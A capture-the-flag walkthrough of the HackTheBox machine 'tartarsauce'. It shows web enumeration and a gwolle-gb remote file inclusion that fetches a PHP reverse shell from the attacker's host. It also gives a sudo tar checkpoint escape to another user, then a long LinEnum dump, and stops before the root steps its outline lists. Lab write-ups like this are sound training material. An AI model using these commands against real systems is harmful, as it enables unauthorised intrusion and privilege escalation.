Linux Boxes

tartarsauce

  1. nmap
  2. http
    1. gobuster
      1. gobuster /webservices
    2. robots.txt
      1. monstra-3.0.4
  3. monstra login (rabbit hole)
    1. default credentials
    2. searchsploit monstra
      1. 43348.txt
      2. cmd.php
  4. initial foothold
    1. wpscan
      1. interesting finds
    2. searchsploit gwolle
      1. php reverse shell
      2. webserver
      3. netcat listener
      4. visit exposed link
        1. import python shell, import tab autocomplete and xterm
        2. user
  5. privesc to Onuma
    1. GTFO bin for tar privesc to onuma
      1. user
  6. privesc to root
    1. linEnum
      1. report
        1. system
        2. USER/GROUP
        3. environmental
        4. jobs/tasks
        5. networking
        6. services
        7. software
        8. interesting files
      2. interesting finds
    2. procmon.sh
    3. backuperer
      1. notes
    4. setuid.c
      1. apt search gcc-multilib
      2. upload tar with malicious c code w/ sticky bit preset to tartarsauce
      3. backuperer in action
  7. user/root
  8. lessons learned

tartarsauce

images/904-1.png
images/904-2.png

nmap

images/905-1.png
we have http running on port 80


a full port scan shows no other services are running
images/905-2.png

http

images/1975-1.png

images/1975-2.png

gobuster

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.88
images/907-1.png

gobuster /webservices

lets use gobuster again to see what types of webservices might be running on tartar's http server

gobuster dir -w /usr/share/wordlists/dirbuster/directory-2.3-medium.txt -u http://10.10.10.88/webservices
images/914-1.png

Wordpress! lets navigate to that site

robots.txt

our nmap shows there is a robots.txt file we can take a look at
images/514-1.png
images/514-2.png

4/5 of the disallowed directories lead to 404 errors, except monstra-3.0.4...
images/514-3.png

monstra-3.0.4

images/908-1.png

images/908-2.png

monstra login (rabbit hole)

images/910-1.png

default credentials

images/911-1.png
lets try admin/admin

we're in!
images/911-2.png

searchsploit monstra

images/909-1.png most of these vulns require authentication, but to what? lets look at the exploits

images/909-2.png

we have the credentials so lets this exploit a shot

images/909-3.png

43348.txt

images/912-1.png

images/912-2.png

images/912-3.png

cmd.php


images/913-1.png
images/913-2.png

images/913-3.png

tried a bunch of file extensions, seems this is a dead end..

initial foothold

wpscan

lets run wpscan on the wordpress service


wpscan --plugins-detection aggressive --url 10.10.10.88/webservices/wp --api-token <token>
where
--url: the URL of the blog to scan
-e ap: enumerate all plugins
— plugins-detection aggressive: use the aggressive mode
images/915-1.png
images/915-2.png
images/915-3.png


interesting finds

images/916-1.png version of wordpress, worth checking for vulns
images/916-2.png meaning there are scheduled tasks associated we can potentially take advantage of
images/916-3.png gwolle-gb out of date plugin, worth checking for vulns
images/916-4.png akismet out of date plugin, worth checking for vulns

searchsploit gwolle

images/917-1.png
lets take a look at the RFI:
http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]

or in my case:
http://10.10.10.88/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.62:5555
images/917-2.png

php reverse shell

in /opt/shell i have a script called php-reverse-shell

lets copy it to our working directory:
images/918-1.png
images/918-2.png

change these parameters to connect back to our attacking machine

images/918-3.png
images/918-4.png

webserver

python -m simpleHTTPServer 5555

images/919-1.png

netcat listener

nc -nlvp 1234 since that's the port we're calling back to

images/920-1.png

import python shell, import tab autocomplete and xterm

python -c ‘import pty;pty.spawn("/bin/bash")’ to spawn a shell in python
ctrl + z to background
stty raw -echo
for tab autocomplete
fg
to foreground
images/924-1.png

user

images/925-1.png
permission denied

privesc to Onuma

unfortunately were only the www-data user and we don't have permission to look at user.txt but if we run sudo -l we see:

images/926-1.png
we can run tar as the user osuma without a password

GTFO bin for tar privesc to onuma

Here is the link for GTFO bin for tar:

https://gtfobins.github.io/gtfobins/tar/#sudo

images/928-1.png

the following code should allow us to escape the tar command and pop a shell with elevated privileges
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
images/928-2.png

user

images/929-1.png
b2d6ec45472467c836f253bd170182c7

privesc to root

lets start by running linEnum onto the machine

linEnum

images/930-1.png

report

feel free to browse through this report, its convoluted but it is a very thorough and worth getting familiar with for future use

I also highly recommend
linux-smart-enumeration because it's reports are incredibly well organized and easy for beginners to sift through

system

images/932-1.png

images/932-2.png

USER/GROUP

images/933-1.png

images/933-2.png
images/933-3.png

images/933-4.png

images/933-5.png

environmental

images/934-1.png

images/934-2.png


images/934-3.png

jobs/tasks

images/935-1.png

images/935-2.png
images/935-3.png


images/935-4.png

images/935-5.png


networking

images/936-1.png

images/936-2.png

services

<### SERVICES #############################################
[-] Running processes:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 6516 5044 ? Ss 01:14 0:02 /sbin/init
root 2 0.0 0.0 0 0 ? S 01:14 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 01:14 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< 01:14 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S 01:14 0:02 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 01:14 0:01 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 01:14 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 01:14 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 01:14 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 01:14 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S 01:14 0:00 [kdevtmpfs]
root 14 0.0 0.0 0 0 ? I< 01:14 0:00 [netns]
root 15 0.0 0.0 0 0 ? S 01:14 0:00 [rcu_tasks_kthre]
root 16 0.0 0.0 0 0 ? S 01:14 0:00 [kauditd]
root 17 0.0 0.0 0 0 ? S 01:14 0:00 [khungtaskd]
root 18 0.0 0.0 0 0 ? S 01:14 0:00 [oom_reaper]
root 19 0.0 0.0 0 0 ? I< 01:14 0:00 [writeback]
root 20 0.0 0.0 0 0 ? S 01:14 0:00 [kcompactd0]
root 21 0.0 0.0 0 0 ? SN 01:14 0:00 [ksmd]
root 22 0.0 0.0 0 0 ? SN 01:14 0:00 [khugepaged]
root 23 0.0 0.0 0 0 ? I< 01:14 0:00 [crypto]
root 24 0.0 0.0 0 0 ? I< 01:14 0:00 [kintegrityd]
root 25 0.0 0.0 0 0 ? I< 01:14 0:00 [kblockd]
root 26 0.0 0.0 0 0 ? I< 01:14 0:00 [ata_sff]
root 27 0.0 0.0 0 0 ? I< 01:14 0:00 [md]
root 28 0.0 0.0 0 0 ? I< 01:14 0:00 [edac-poller]
root 29 0.0 0.0 0 0 ? I< 01:14 0:00 [devfreq_wq]
root 30 0.0 0.0 0 0 ? I< 01:14 0:00 [watchdogd]
root 34 0.0 0.0 0 0 ? S 01:14 0:00 [kswapd0]
root 35 0.0 0.0 0 0 ? S 01:14 0:00 [ecryptfs-kthrea]
root 77 0.0 0.0 0 0 ? I< 01:14 0:00 [kthrotld]
root 78 0.0 0.0 0 0 ? I< 01:14 0:00 [acpi_thermal_pm]
root 79 0.0 0.0 0 0 ? I< 01:14 0:00 [nvme-wq]
root 80 0.0 0.0 0 0 ? S 01:14 0:00 [scsi_eh_0]
root 81 0.0 0.0 0 0 ? I< 01:14 0:00 [scsi_tmf_0]
root 82 0.0 0.0 0 0 ? S 01:14 0:00 [scsi_eh_1]
root 83 0.0 0.0 0 0 ? I< 01:14 0:00 [scsi_tmf_1]
root 85 0.0 0.0 0 0 ? I< 01:14 0:00 [ipv6_addrconf]root 95 0.0 0.0 0 0 ? I< 01:14 0:00 [kstrp]
root 112 0.0 0.0 0 0 ? I< 01:14 0:00 [charger_manager]
root 170 0.0 0.0 0 0 ? S 01:14 0:00 [scsi_eh_2]
root 172 0.0 0.0 0 0 ? I< 01:14 0:00 [scsi_tmf_2]
root 173 0.0 0.0 0 0 ? I< 01:14 0:00 [vmw_pvscsi_wq_2]
root 174 0.0 0.0 0 0 ? I< 01:14 0:00 [kworker/0:1H]
root 182 0.0 0.0 0 0 ? I< 01:14 0:00 [ttm_swap]
root 183 0.0 0.0 0 0 ? S 01:14 0:00 [irq/16-vmwgfx]root 273 0.0 0.0 0 0 ? I< 01:14 0:00 [raid5wq]
root 297 0.0 0.0 0 0 ? I< 01:14 0:00 [kdmflush]
root 298 0.0 0.0 0 0 ? I< 01:14 0:00 [bioset]
root 307 0.0 0.0 0 0 ? I< 01:14 0:00 [kdmflush]
root 308 0.0 0.0 0 0 ? I< 01:14 0:00 [bioset]
root 348 0.0 0.0 0 0 ? S 01:14 0:00 [jbd2/dm-0-8]
root 349 0.0 0.0 0 0 ? I< 01:14 0:00 [ext4-rsv-conver]
root 401 0.1 0.1 7044 4004 ? Ss 01:14 0:22 /lib/systemd/systemd-journald
root 406 0.0 0.0 0 0 ? I< 01:14 0:00 [iscsi_eh]
root 408 0.0 0.0 0 0 ? I< 01:14 0:00 [ib-comp-wq]
root 409 0.0 0.0 0 0 ? I< 01:14 0:00 [ib_mcast]
root 410 0.0 0.0 0 0 ? I< 01:14 0:00 [ib_nl_sa_wq]
root 411 0.0 0.0 0 0 ? I< 01:14 0:00 [rdma_cm]
root 419 0.0 0.0 21480 1384 ? Ss 01:14 0:00 /sbin/lvmetad -f
root 436 0.0 0.1 13952 3428 ? Ss 01:14 0:00 /lib/systemd/systemd-udevd
root 637 0.0 0.0 0 0 ? I< 01:14 0:00 [ext4-rsv-conver]
systemd+ 674 0.0 0.1 12600 2428 ? Ssl 01:14 0:00 /lib/systemd/systemd-timesyncd
message+ 789 0.0 0.1 6056 3888 ? Ss 01:14 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root 808 0.0 0.0 3800 1076 ? Ss 01:14 0:00 /lib/systemd/systemd-logind
syslog 819 0.0 0.1 30732 3324 ? Ssl 01:14 0:08 /usr/sbin/rsyslogd -n
daemon 820 0.0 0.1 3484 2108 ? Ss 01:14 0:00 /usr/sbin/atd -f
root 821 0.0 0.4 51656 8660 ? Ssl 01:14 0:06 /usr/bin/vmtoolsd
root 822 0.0 0.2 37672 5980 ? Ssl 01:14 0:00 /usr/lib/accountsservice/accounts-daemon
root 823 0.0 0.0 20368 1320 ? Ssl 01:14 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root 824 0.0 0.1 5584 2760 ? Ss 01:14 0:00 /usr/sbin/cron -f
root 833 0.0 0.6 854564 14284 ? Ssl 01:14 0:00 /usr/lib/snapd/snapd
root 840 0.0 0.0 2248 1092 ? Ss 01:14 0:00 /usr/sbin/acpidroot 886 0.0 0.0 3136 124 ? Ss 01:14 0:00 /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog
root 963 0.0 0.2 35768 5740 ? Ssl 01:14 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 1068 0.0 0.0 2988 116 ? Ss 01:14 0:00 /sbin/iscsid
root 1069 0.0 0.1 3448 2920 ? S<Ls 01:14 0:01 /sbin/iscsid
mysql 1080 0.0 6.4 544808 133480 ? Ssl 01:14 0:06 /usr/sbin/mysqld
root 1112 0.0 0.0 4752 1672 tty1 Ss+ 01:14 0:00 /sbin/agetty --noclear tty1 linux
root 1184 0.0 1.1 120160 24444 ? Ss 01:14 0:00 /usr/sbin/apache2 -k start
www-data 1538 0.0 0.7 120848 14852 ? S 01:24 0:10 /usr/sbin/apache2 -k start
www-data 1957 0.0 0.7 122868 15976 ? S 01:36 0:08 /usr/sbin/apache2 -k start
www-data 2126 0.0 1.3 121064 27480 ? S 01:41 0:07 /usr/sbin/apache2 -k start
www-data 3310 0.0 1.2 120816 26456 ? S 02:25 0:06 /usr/sbin/apache2 -k start
www-data 3312 0.0 1.1 121084 23492 ? S 02:25 0:06 /usr/sbin/apache2 -k start
www-data 3314 0.0 1.1 120780 23872 ? S 02:25 0:06 /usr/sbin/apache2 -k start
e2 -k start421 0.0 1.1 120788 24500 ? S 02:30 0:05 /usr/sbin/apach--More--
www-data 3572 0.0 1.1 120960 23400 ? S 02:37 0:05 /usr/sbin/apache2 -k start
www-data 4245 0.0 0.3 120240 7088 ? S 03:03 0:02 /usr/sbin/apache2 -k start
www-data 4793 0.0 0.3 120224 7088 ? S 03:24 0:00 /usr/sbin/apache2 -k start
www-data 5337 0.0 0.0 2372 556 ? S 03:42 0:00 sh -c uname -a; w; id; /bin/sh -i
www-data 5341 0.0 0.0 2372 656 ? S 03:42 0:00 /bin/sh -i
www-data 5342 0.0 0.2 8196 5476 ? S 03:44 0:00 python -c import pty;pty.spawn("/bin/bash")
www-data 5343 0.0 0.1 3760 3020 pts/0 Ss 03:44 0:00 /bin/bash
root 5612 0.0 0.0 0 0 ? I 03:52 0:00 [kworker/u2:2]
root 5754 0.0 0.1 4924 3424 pts/0 S 03:56 0:00 sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
onuma 5755 0.0 0.1 3704 2424 pts/0 S 03:56 0:00 /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
onuma 5756 0.0 0.0 2372 1524 pts/0 S 03:56 0:00 /bin/sh
root 6289 0.0 0.0 0 0 ? I 04:15 0:00 [kworker/0:1]
root 6543 0.0 0.0 0 0 ? I 04:25 0:00 [kworker/0:0]
root 6557 0.0 0.0 0 0 ? I 04:25 0:00 [kworker/u2:1]
t pty;pty.spawn("/bin/bash")196 5308 pts/0 S+ 04:31 0:00 python -c impor--More--
onuma 6685 0.0 0.1 4760 4112 pts/1 Ss 04:31 0:00 /bin/bash
onuma 6785 0.0 0.1 4128 3260 pts/1 S+ 04:32 0:00 /bin/bash ./LinEnum.sh
onuma 6786 0.0 0.0 2376 652 pts/1 S+ 04:32 0:00 more
onuma 6787 0.0 0.1 4172 3220 pts/1 S+ 04:32 0:00 /bin/bash ./LinEnum.sh
onuma 6788 0.0 0.0 2232 576 pts/1 S+ 04:32 0:00 tee -a
onuma 6981 0.0 0.1 4156 2612 pts/1 S+ 04:32 0:00 /bin/bash ./LinEnum.sh
onuma 6982 0.0 0.1 5680 2828 pts/1 R+ 04:32 0:00 ps aux


images/937-1.png

images/937-2.png

images/937-3.png

images/937-4.png

images/937-5.png

images/937-6.png
/lib/systemd/system:
total 948K
drwxr-xr-x 2 root root 4.0K May 1 2018 halt.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 kexec.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 poweroff.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 sysinit.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 initrd-switch-root.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 multi-user.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 reboot.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 apache2.service.d
drwxr-xr-x 2 root root 4.0K May 1 2018 sockets.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 getty.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 graphical.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 local-fs.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 rescue.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 resolvconf.service.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 sigpwr.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 timers.target.wants
drwxr-xr-x 2 root root 4.0K May 1 2018 rc-local.service.d
drwxr-xr-x 2 root root 4.0K May 1 2018 systemd-resolved.service.d
drwxr-xr-x 2 root root 4.0K May 1 2018 systemd-timesyncd.service.d
-rw-r--r-- 1 root root 252 Apr 11 2018 snapd.autoimport.service
-rw-r--r-- 1 root root 386 Apr 11 2018 snapd.core-fixup.service
-rw-r--r-- 1 root root 308 Apr 11 2018 snapd.service
-rw-r--r-- 1 root root 287 Apr 11 2018 snapd.snap-repair.service
-rw-r--r-- 1 root root 281 Apr 11 2018 snapd.snap-repair.timer
-rw-r--r-- 1 root root 281 Apr 11 2018 snapd.socket
-rw-r--r-- 1 root root 474 Apr 11 2018 snapd.system-shutdown.service
-rw-r--r-- 1 root root 246 Apr 5 2018 apport-forward.socket
lrwxrwxrwx 1 root root 27 Apr 3 2018 plymouth-log.service -> plymouth-read-write.service
lrwxrwxrwx 1 root root 21 Apr 3 2018 plymouth.service -> plymouth-quit.service
-rw-r--r-- 1 root root 412 Apr 3 2018 plymouth-halt.service
-rw-r--r-- 1 root root 426 Apr 3 2018 plymouth-kexec.service
-rw-r--r-- 1 root root 421 Apr 3 2018 plymouth-poweroff.service
-rw-r--r-- 1 root root 200 Apr 3 2018 plymouth-quit-wait.service
-rw-r--r-- 1 root root 194 Apr 3 2018 plymouth-quit.service
-rw-r--r-- 1 root root 244 Apr 3 2018 plymouth-read-write.service
-rw-r--r-- 1 root root 416 Apr 3 2018 plymouth-reboot.service
-rw-r--r-- 1 root root 532 Apr 3 2018 plymouth-start.service
-rw-r--r-- 1 root root 291 Apr 3 2018 plymouth-switch-root.service
-rw-r--r-- 1 root root 490 Apr 3 2018 systemd-ask-password-plymouth.path
-rw-r--r-- 1 root root 467 Apr 3 2018 systemd-ask-password-plymouth.service
lrwxrwxrwx 1 root root 21 Mar 8 2018 udev.service -> systemd-udevd.service
lrwxrwxrwx 1 root root 14 Mar 8 2018 autovt@.service -> getty@.service
lrwxrwxrwx 1 root root 9 Mar 8 2018 bootlogd.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 bootlogs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 bootmisc.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 checkfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 checkroot-bootclean.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 checkroot.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 cryptdisks-early.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 cryptdisks.service -> /dev/null
lrwxrwxrwx 1 root root 13 Mar 8 2018 ctrl-alt-del.target -> reboot.target
lrwxrwxrwx 1 root root 25 Mar 8 2018 dbus-org.freedesktop.hostname1.service -> systemd-hostnamed.service
lrwxrwxrwx 1 root root 23 Mar 8 2018 dbus-org.freedesktop.locale1.service -> systemd-localed.service
lrwxrwxrwx 1 root root 22 Mar 8 2018 dbus-org.freedesktop.login1.service -> systemd-logind.service
lrwxrwxrwx 1 root root 24 Mar 8 2018 dbus-org.freedesktop.network1.service -> systemd-networkd.service
lrwxrwxrwx 1 root root 24 Mar 8 2018 dbus-org.freedesktop.resolve1.service -> systemd-resolved.service
lrwxrwxrwx 1 root root 25 Mar 8 2018 dbus-org.freedesktop.timedate1.service -> systemd-timedated.service
lrwxrwxrwx 1 root root 16 Mar 8 2018 default.target -> graphical.target
lrwxrwxrwx 1 root root 9 Mar 8 2018 fuse.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 halt.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 hostname.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 hwclock.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 killprocs.service -> /dev/null
lrwxrwxrwx 1 root root 28 Mar 8 2018 kmod.service -> systemd-modules-load.service
lrwxrwxrwx 1 root root 28 Mar 8 2018 module-init-tools.service -> systemd-modules-load.service
lrwxrwxrwx 1 root root 9 Mar 8 2018 motd.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 mountall-bootclean.service -> /dev/nulllrwxrwxrwx 1 root root 9 Mar 8 2018 mountall.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 mountdevsubfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 mountkernfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 mountnfs-bootclean.service -> /dev/nulllrwxrwxrwx 1 root root 9 Mar 8 2018 mountnfs.service -> /dev/null
lrwxrwxrwx 1 root root 22 Mar 8 2018 procps.service -> systemd-sysctl.service
lrwxrwxrwx 1 root root 16 Mar 8 2018 rc.local.service -> rc-local.service
lrwxrwxrwx 1 root root 9 Mar 8 2018 rc.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 rcS.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 reboot.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 rmnologin.service -> /dev/null
lrwxrwxrwx 1 root root 15 Mar 8 2018 runlevel0.target -> poweroff.target
lrwxrwxrwx 1 root root 13 Mar 8 2018 runlevel1.target -> rescue.target
lrwxrwxrwx 1 root root 17 Mar 8 2018 runlevel2.target -> multi-user.target
lrwxrwxrwx 1 root root 17 Mar 8 2018 runlevel3.target -> multi-user.target
lrwxrwxrwx 1 root root 17 Mar 8 2018 runlevel4.target -> multi-user.target
lrwxrwxrwx 1 root root 16 Mar 8 2018 runlevel5.target -> graphical.target
lrwxrwxrwx 1 root root 13 Mar 8 2018 runlevel6.target -> reboot.target
lrwxrwxrwx 1 root root 9 Mar 8 2018 sendsigs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 single.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 stop-bootlogd-single.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 stop-bootlogd.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 umountfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 umountnfs.service -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 8 2018 umountroot.service -> /dev/null
lrwxrwxrwx 1 root root 27 Mar 8 2018 urandom.service -> systemd-random-seed.service
lrwxrwxrwx 1 root root 9 Mar 8 2018 x11-common.service -> /dev/null
-rw-r--r-- 1 root root 403 Mar 8 2018 -.slice
-rw-r--r-- 1 root root 879 Mar 8 2018 basic.target
-rw-r--r-- 1 root root 379 Mar 8 2018 bluetooth.target
-rw-r--r-- 1 root root 358 Mar 8 2018 busnames.target
-rw-r--r-- 1 root root 770 Mar 8 2018 console-getty.service
-rw-r--r-- 1 root root 742 Mar 8 2018 console-shell.service
-rw-r--r-- 1 root root 791 Mar 8 2018 container-getty@.service
-rw-r--r-- 1 root root 394 Mar 8 2018 cryptsetup-pre.target
-rw-r--r-- 1 root root 366 Mar 8 2018 cryptsetup.target
-rw-r--r-- 1 root root 1010 Mar 8 2018 debug-shell.service
-rw-r--r-- 1 root root 670 Mar 8 2018 dev-hugepages.mount
-rw-r--r-- 1 root root 624 Mar 8 2018 dev-mqueue.mount
-rw-r--r-- 1 root root 1009 Mar 8 2018 emergency.service
-rw-r--r-- 1 root root 431 Mar 8 2018 emergency.target
-rw-r--r-- 1 root root 501 Mar 8 2018 exit.target
-rw-r--r-- 1 root root 440 Mar 8 2018 final.target
-rw-r--r-- 1 root root 460 Mar 8 2018 getty.target
-rw-r--r-- 1 root root 1.5K Mar 8 2018 getty@.service
-rw-r--r-- 1 root root 558 Mar 8 2018 graphical.target
-rw-r--r-- 1 root root 487 Mar 8 2018 halt.target
-rw-r--r-- 1 root root 447 Mar 8 2018 hibernate.target
-rw-r--r-- 1 root root 468 Mar 8 2018 hybrid-sleep.target
-rw-r--r-- 1 root root 630 Mar 8 2018 initrd-cleanup.service
-rw-r--r-- 1 root root 553 Mar 8 2018 initrd-fs.target
-rw-r--r-- 1 root root 790 Mar 8 2018 initrd-parse-etc.service
-rw-r--r-- 1 root root 526 Mar 8 2018 initrd-root-fs.target
-rw-r--r-- 1 root root 640 Mar 8 2018 initrd-switch-root.service
-rw-r--r-- 1 root root 691 Mar 8 2018 initrd-switch-root.target
-rw-r--r-- 1 root root 664 Mar 8 2018 initrd-udevadm-cleanup-db.service
-rw-r--r-- 1 root root 671 Mar 8 2018 initrd.target
-rw-r--r-- 1 root root 501 Mar 8 2018 kexec.target
-rw-r--r-- 1 root root 677 Mar 8 2018 kmod-static-nodes.service
-rw-r--r-- 1 root root 395 Mar 8 2018 local-fs-pre.target
-rw-r--r-- 1 root root 507 Mar 8 2018 local-fs.target
-rw-r--r-- 1 root root 405 Mar 8 2018 machine.slice
-rw-r--r-- 1 root root 473 Mar 8 2018 mail-transport-agent.target
-rw-r--r-- 1 root root 492 Mar 8 2018 multi-user.target
-rw-r--r-- 1 root root 464 Mar 8 2018 network-online.target
-rw-r--r-- 1 root root 461 Mar 8 2018 network-pre.target
-rw-r--r-- 1 root root 480 Mar 8 2018 network.target
-rw-r--r-- 1 root root 514 Mar 8 2018 nss-lookup.target
-rw-r--r-- 1 root root 473 Mar 8 2018 nss-user-lookup.target
-rw-r--r-- 1 root root 354 Mar 8 2018 paths.target
-rw-r--r-- 1 root root 552 Mar 8 2018 poweroff.target
-rw-r--r-- 1 root root 377 Mar 8 2018 printer.target
-rw-r--r-- 1 root root 693 Mar 8 2018 proc-sys-fs-binfmt_misc.automount
-rw-r--r-- 1 root root 603 Mar 8 2018 proc-sys-fs-binfmt_misc.mount
-rw-r--r-- 1 root root 568 Mar 8 2018 quotaon.service
-rw-r--r-- 1 root root 612 Mar 8 2018 rc-local.service
-rw-r--r-- 1 root root 543 Mar 8 2018 reboot.target
-rw-r--r-- 1 root root 396 Mar 8 2018 remote-fs-pre.target
-rw-r--r-- 1 root root 482 Mar 8 2018 remote-fs.target
-rw-r--r-- 1 root root 978 Mar 8 2018 rescue.service
-rw-r--r-- 1 root root 486 Mar 8 2018 rescue.target
-rw-r--r-- 1 root root 500 Mar 8 2018 rpcbind.target
-rw-r--r-- 1 root root 1.1K Mar 8 2018 serial-getty@.service
-rw-r--r-- 1 root root 402 Mar 8 2018 shutdown.target
-rw-r--r-- 1 root root 362 Mar 8 2018 sigpwr.target
-rw-r--r-- 1 root root 420 Mar 8 2018 sleep.target
-rw-r--r-- 1 root root 409 Mar 8 2018 slices.target
-rw-r--r-- 1 root root 380 Mar 8 2018 smartcard.target
-rw-r--r-- 1 root root 356 Mar 8 2018 sockets.target
-rw-r--r-- 1 root root 380 Mar 8 2018 sound.target
-rw-r--r-- 1 root root 441 Mar 8 2018 suspend.target
-rw-r--r-- 1 root root 353 Mar 8 2018 swap.target
-rw-r--r-- 1 root root 715 Mar 8 2018 sys-fs-fuse-connections.mount
-rw-r--r-- 1 root root 719 Mar 8 2018 sys-kernel-config.mount
-rw-r--r-- 1 root root 662 Mar 8 2018 sys-kernel-debug.mount
-rw-r--r-- 1 root root 518 Mar 8 2018 sysinit.target
-rw-r--r-- 1 root root 1.3K Mar 8 2018 syslog.socket
-rw-r--r-- 1 root root 585 Mar 8 2018 system-update.target
-rw-r--r-- 1 root root 436 Mar 8 2018 system.slice
-rw-r--r-- 1 root root 646 Mar 8 2018 systemd-ask-password-console.path
-rw-r--r-- 1 root root 653 Mar 8 2018 systemd-ask-password-console.service
-rw-r--r-- 1 root root 574 Mar 8 2018 systemd-ask-password-wall.path
-rw-r--r-- 1 root root 681 Mar 8 2018 systemd-ask-password-wall.service
-rw-r--r-- 1 root root 724 Mar 8 2018 systemd-backlight@.service
-rw-r--r-- 1 root root 959 Mar 8 2018 systemd-binfmt.service
-rw-r--r-- 1 root root 650 Mar 8 2018 systemd-bootchart.service
-rw-r--r-- 1 root root 1.0K Mar 8 2018 systemd-bus-proxyd.service
-rw-r--r-- 1 root root 409 Mar 8 2018 systemd-bus-proxyd.socket
-rw-r--r-- 1 root root 497 Mar 8 2018 systemd-exit.service
-rw-r--r-- 1 root root 674 Mar 8 2018 systemd-fsck-root.service
-rw-r--r-- 1 root root 648 Mar 8 2018 systemd-fsck@.service
-rw-r--r-- 1 root root 551 Mar 8 2018 systemd-fsckd.service
-rw-r--r-- 1 root root 540 Mar 8 2018 systemd-fsckd.socket
-rw-r--r-- 1 root root 544 Mar 8 2018 systemd-halt.service
-rw-r--r-- 1 root root 631 Mar 8 2018 systemd-hibernate-resume@.service
-rw-r--r-- 1 root root 501 Mar 8 2018 systemd-hibernate.service
-rw-r--r-- 1 root root 710 Mar 8 2018 systemd-hostnamed.service
-rw-r--r-- 1 root root 778 Mar 8 2018 systemd-hwdb-update.service
-rw-r--r-- 1 root root 519 Mar 8 2018 systemd-hybrid-sleep.service
-rw-r--r-- 1 root root 480 Mar 8 2018 systemd-initctl.service
-rw-r--r-- 1 root root 524 Mar 8 2018 systemd-initctl.socket
-rw-r--r-- 1 root root 731 Mar 8 2018 systemd-journal-flush.service
-rw-r--r-- 1 root root 607 Mar 8 2018 systemd-journald-audit.socket
-rw-r--r-- 1 root root 1.1K Mar 8 2018 systemd-journald-dev-log.socket
-rw-r--r-- 1 root root 1.3K Mar 8 2018 systemd-journald.service
-rw-r--r-- 1 root root 842 Mar 8 2018 systemd-journald.socket
-rw-r--r-- 1 root root 557 Mar 8 2018 systemd-kexec.service
-rw-r--r-- 1 root root 691 Mar 8 2018 systemd-localed.service
-rw-r--r-- 1 root root 1.2K Mar 8 2018 systemd-logind.service
-rw-r--r-- 1 root root 693 Mar 8 2018 systemd-machine-id-commit.service
-rw-r--r-- 1 root root 967 Mar 8 2018 systemd-modules-load.service
-rw-r--r-- 1 root root 685 Mar 8 2018 systemd-networkd-wait-online.service
-rw-r--r-- 1 root root 1.3K Mar 8 2018 systemd-networkd.service
-rw-r--r-- 1 root root 591 Mar 8 2018 systemd-networkd.socket
-rw-r--r-- 1 root root 553 Mar 8 2018 systemd-poweroff.service
-rw-r--r-- 1 root root 614 Mar 8 2018 systemd-quotacheck.service
-rw-r--r-- 1 root root 717 Mar 8 2018 systemd-random-seed.service
-rw-r--r-- 1 root root 548 Mar 8 2018 systemd-reboot.service
